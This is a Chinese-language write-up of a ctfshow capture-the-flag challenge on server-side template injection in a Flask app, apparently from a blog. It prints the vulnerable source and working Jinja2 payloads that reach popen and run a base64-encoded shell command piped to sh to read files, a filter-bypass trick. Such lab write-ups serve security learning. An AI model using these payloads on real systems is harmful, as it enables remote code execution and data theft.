ctfshow-web愚人杯-eazy_ssti

ctfshow-web-eazy_ssti

题目截图:

题目简述:

题目给了部分源码,并且只有简单的过滤

打开题目发现什么都没有,看一下源码,发现了app.zip。(这里说的12都会 暗示F12)
先down下来

源码如下:

from flask import 
Flask from flask 
import render_template_string,render_template 

app = Flask(__name__) 

@app.route('/hello/') 

def hello(name=None): 
return render_template('hello.html',name=name) 

@app.route('/hello/<name>') 
def hellodear(name): 

if "ge" in name: 
return render_template_string('hello %s' % name) 
elif 
"f" not in name: return render_template_string('hello %s' % name) 

else: 
return 'Nonononon'
这段代码是一个简单的 Flask 应用,它定义了两个路由:
/hello/:可以不传递参数,调用 hello 函数渲染 hello.html 模板。
/hello/:需要传递一个参数 name,调用 hellodear 函数,根据 name 的内容返回不同的结果。
这里头昏了,一直在尝试 url/hello?name= 一直404 还以为是思路不对,仔细查看源码才发现。。。。
然后就直接测试{{7*7}}
后面就很简单了,基本上没有过滤,不在演示具体过程了
payload:   /hello/{{''.__class__.__mro__[1].__subclasses__()}}
把回显全部复制到notepad++ 然后全局替换 逗号为换行符
不会弄的来看这篇博客!!!!
这里cat /f* 失败了,猜测应该是 有过滤
然后ls看一下,发现不在根目录下。有可能是 没有权限/有过滤
先尝试一下绕过

绕过思路 :

base64+管道符

  • echo "Y2F0IC9mKg==":echo 是一个用于输出字符串的命令,这里它会把字符串 "Y2F0IC9mKg==" 输出到标准输出。
  • |:管道符号,它的作用是将前一个命令的输出作为后一个命令的输入。
  • base64 -d:base64 是用来进行 Base64 编码和解码的工具,-d 选项表示进行解码操作。所以这部分命令会对 echo 输出的 Base64 编码字符串 "Y2F0IC9mKg==" 进行解码。
  • |:再次使用管道符号,把 base64 -d 解码后的结果当作下一个命令的输入。
  • sh:sh 是一个 shell 解释器,它会把接收到的输入当作 shell 脚本代码来执行。

最终payload

/hello/ {{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('echo "Y2F0IC9mKg==" | base64 -d |sh').read()}}
直接得到flag:
ctfshow{304b5453-d95c-45fb-b42a-ce7726fce423}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值